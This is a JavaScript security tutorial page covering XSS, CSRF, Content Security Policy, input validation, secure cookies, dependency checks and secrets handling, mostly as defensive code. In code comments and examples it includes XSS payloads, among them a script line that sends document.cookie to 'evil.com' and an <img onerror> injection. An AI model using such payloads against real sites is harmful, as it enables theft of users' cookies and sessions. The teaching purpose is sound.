Security in JavaScript

XSS, CSRF, CSP, input validation, safe dependencies — the security fundamentals every JavaScript developer must know.

What it is, in plain English: Security in JavaScript centres on one truth: never trust user input. XSS (Cross-Site Scripting) — injecting malicious scripts via user content — is the most common web vulnerability. CSRF (Cross-Site Request Forgery) tricks authenticated users into making unwanted requests. Content Security Policy (CSP) is a browser security layer that restricts what scripts can run. These aren't advanced topics — they're things every developer who ships code to users must understand.

Where this bites you

Testing an innerHTML sink with <script>alert(1)</script> proves nothing. Browsers never run <script> elements inserted through innerHTML, so the test passes and the page looks safe. Attackers use event-handler attributes instead, such as <img src="x" onerror="…">, and those do run. The sink is just as dangerous as it looked; the test simply couldn't see it.

// <div id="comments"></div>
const commentDiv = document.getElementById("comments");

// the developer's XSS test -- nothing happens, so it looks safe:
commentDiv.innerHTML = '<script>console.log("script ran")<\/script>';

// what an attacker actually sends:
commentDiv.innerHTML = '<img src="x" onerror="console.log(\'attacker code ran\')">';
// attacker code ran          ("script ran" never appears)

The attacks and how to prevent them

The golden rule: never trust user input. Any data that comes from a user — form fields, URL parameters, uploaded files, API responses — must be validated and sanitised before use.

XSS — Cross-Site Scripting

XSS is when an attacker injects malicious JavaScript into your page via user-controlled content. If your page displays user input as HTML, that content can include markup such as <img src=x onerror=…> whose event handlers run in your users' browsers — stealing cookies, session tokens, and personal data.

// ✗ DANGEROUS — innerHTML with user data:
const comment = userInput;  // e.g. '<script>fetch("evil.com?c="+document.cookie)</script>'
commentDiv.innerHTML = comment;  // ← markup is parsed: an <img onerror=…> payload runs (an inserted <script> doesn't)

// ✓ SAFE — textContent always treats content as plain text:
commentDiv.textContent = comment;  // script tag is shown as text, never executed

// ✓ SAFE — escape HTML before using innerHTML:
function escapeHTML(str) {
  return str
    .replace(/&/g,  "&amp;")
    .replace(/</g,  "&lt;")
    .replace(/>/g,  "&gt;")
    .replace(/"/g,  "&quot;")
    .replace(/'/g,  "&#039;");
}
commentDiv.innerHTML = escapeHTML(comment);  // safe

// ✓ USE a sanitisation library for rich text (user content with allowed HTML):
// import DOMPurify from "dompurify";
// commentDiv.innerHTML = DOMPurify.sanitize(richTextInput);
// DOMPurify strips dangerous tags/attributes while allowing safe HTML

So don't decide whether an innerHTML assignment is safe by testing it with <script>. Treat every innerHTML with user data as exploitable, and use textContent (or escapeHTML(), or DOMPurify for rich text) as shown above. With textContent, the same payload becomes harmless visible text:

const commentDiv = document.getElementById("comments");
const comment = '<img src="x" onerror="console.log(\'attacker code ran\')">';

commentDiv.textContent = comment;                 // shown as text, never parsed as HTML
console.log(commentDiv.innerHTML);
// &lt;img src="x" onerror="console.log('attacker code ran')"&gt;

CSRF — Cross-Site Request Forgery

// Attack: a malicious site tricks your logged-in user into making a request
// to your site (e.g. "change email" or "transfer money")

// Prevention 1: SameSite cookies (set on the server):
// Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict
// SameSite=Strict → cookie not sent on cross-site requests

// Prevention 2: CSRF tokens (for forms):
// Server generates a random token, embeds in form, validates on submit:
// <input type="hidden" name="csrf_token" value="a8f3k...">

// Prevention 3: Check the Origin/Referer header on sensitive requests
// (backend responsibility — but good to understand)

Input validation — always, on every field

// Never trust what arrives — validate shape, type, and range:
function validateUserInput(data) {
  const errors = [];

  if (!data.email?.includes("@"))           errors.push("Invalid email");
  if (typeof data.age !== "number")          errors.push("Age must be a number");
  if (data.age < 0 || data.age > 150)       errors.push("Age out of range");
  if (data.name?.length > 100)              errors.push("Name too long");
  if (!["user","admin"].includes(data.role)) errors.push("Invalid role");

  return errors;
}

// Note: client-side validation is for UX only.
// Always validate AGAIN on the server — a user can bypass client validation.

Try It Yourself

// XSS — the most critical JS security issue
// NEVER put user input directly into innerHTML:
function badRender(userInput) {
  document.body.innerHTML = userInput;  // ← DANGEROUS
  // If userInput = '<script>steal(document.cookie)</script>'
  // markup is parsed: an image tag with an onerror handler would run
}

// SAFE: use textContent for plain text:
function safeRenderText(userInput) {
  const div = document.createElement("div");
  div.textContent = userInput;   // always treated as plain text
  document.body.appendChild(div);
}

// SAFE: escape HTML before inserting:
function escapeHTML(str) {
  return str
    .replace(/&/g,  "&amp;")
    .replace(/</g,  "&lt;")
    .replace(/>/g,  "&gt;")
    .replace(/"/g,  "&quot;")
    .replace(/'/g,  "&#039;");
}

const userInput = '<script>alert("XSS")</script>';
console.log(escapeHTML(userInput));
// &lt;script&gt;alert("XSS")&lt;/script&gt;
// — safe to put in innerHTML now (renders as text, not code)

// Demonstrating the principle: always validate and sanitise
function processAge(input) {
  const age = parseInt(input, 10);
  if (isNaN(age) || age < 0 || age > 150) {
    throw new RangeError("Invalid age");
  }
  return age;
}

try {
  console.log(processAge("25"));         // 25
  console.log(processAge("25abc"));      // 25 (parseInt stops at non-digit)
  console.log(processAge("abc"));        // throws: Invalid age
  console.log(processAge("-5"));         // throws: Invalid age
  console.log(processAge("999"));        // throws: Invalid age
} catch(e) {
  console.log("Caught:", e.message);
}

// HTTPS check
const isSecure = typeof window !== "undefined"
  ? window.location.protocol === "https:"
  : true;  // assume secure in Node
console.log("Secure context:", isSecure);

CSP, secure cookies, and dependency security

Content Security Policy (CSP)

// CSP is a response header that tells the browser which scripts to trust:
// Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com

// What each directive does:
// default-src 'self'   — only load resources from same origin by default
// script-src           — where scripts can come from
// img-src              — where images can come from
// connect-src          — what URLs fetch/XHR can connect to
// frame-src            — what can be in iframes
// 'nonce-{value}'      — allow a specific inline script with this nonce

// Setting via <meta> (weaker — can't block all attacks, prefer HTTP header):
// <meta http-equiv="Content-Security-Policy" content="default-src 'self'">

// In Express.js (using helmet):
// import helmet from "helmet";
// app.use(helmet());  // sets secure defaults for all security headers

Secure cookie attributes

// Server-side cookie settings (critical for security):
// Set-Cookie: sessionId=abc123;
//   HttpOnly;         ← JS cannot read this (document.cookie blocked)
//   Secure;           ← only sent over HTTPS
//   SameSite=Strict;  ← not sent on cross-site requests (CSRF prevention)
//   Path=/;
//   Max-Age=3600      ← expires in 1 hour

// In Node.js/Express:
// res.cookie("sessionId", token, {
//   httpOnly: true,
//   secure: true,        // process.env.NODE_ENV === "production"
//   sameSite: "strict",
//   maxAge: 3600000,
// });

Dependency security

// Check for known vulnerabilities in your dependencies:
// npm audit               → list vulnerabilities
// npm audit fix           → auto-fix safe ones
// npm audit fix --force   → force-fix (may break things — review first)

// Keep dependencies updated:
// npx npm-check-updates   → show outdated packages
// npx npm-check-updates -u && npm install  → update package.json

// Principles:
// - Fewer dependencies = smaller attack surface
// - Check a package's weekly downloads, maintenance status, and GitHub stars before adding
// - Never run: npm install <unknown-package> without researching it first
// - Use package-lock.json / pnpm-lock.yaml to pin exact versions

Security headers, secrets management, and OWASP

Security headers checklist

// Use helmet.js in Node.js to set these automatically:
// Content-Security-Policy: default-src 'self'
// X-Frame-Options: DENY                    ← prevent clickjacking
// X-Content-Type-Options: nosniff          ← prevent MIME-type sniffing
// Referrer-Policy: no-referrer             ← don't leak URL in Referer header
// Permissions-Policy: camera=(), microphone=()  ← disable browser features
// Strict-Transport-Security: max-age=63072000  ← HTTPS only (HSTS)

// Check your headers: https://securityheaders.com

Never store secrets in client-side JavaScript

// ✗ NEVER — secrets in client-side code are public:
const apiKey = "sk-abc123secret";  // anyone can see this in DevTools!
fetch(`/api?key=${apiKey}`);

// ✓ Store secrets on the server, proxy API calls through your backend:
// Client → your server → external API (server holds the key)

// Environment variables in Node.js:
const key = process.env.API_KEY;  // from .env file (never commit .env!)
// .env file: API_KEY=sk-abc123secret
// .gitignore must include: .env

// For browser apps — environment variables at build time:
// Vite: import.meta.env.VITE_PUBLIC_URL  (VITE_ prefix = safe to expose)
// Only put non-secret config in browser env vars

OWASP Top 10 — the industry standard

The OWASP (Open Web Application Security Project) Top 10 lists the most critical web security risks. For JavaScript developers the most relevant are:

// A01 — Broken Access Control: check permissions server-side, not just client-side
// A02 — Cryptographic Failures: use HTTPS, bcrypt for passwords, don't roll your own crypto
// A03 — Injection (XSS, SQL injection): validate/escape all input
// A05 — Security Misconfiguration: set secure headers, disable directory listing
// A06 — Vulnerable Components: npm audit, keep dependencies updated
// A07 — Authentication Failures: use proven auth libraries, MFA, rate-limit login
// A09 — Logging Failures: log security events (failed logins, permission denials)
// Full list: owasp.org/www-project-top-ten/

Official Sources

The Codex links only to official documentation and the ECMAScript specification. No third-party tutorials.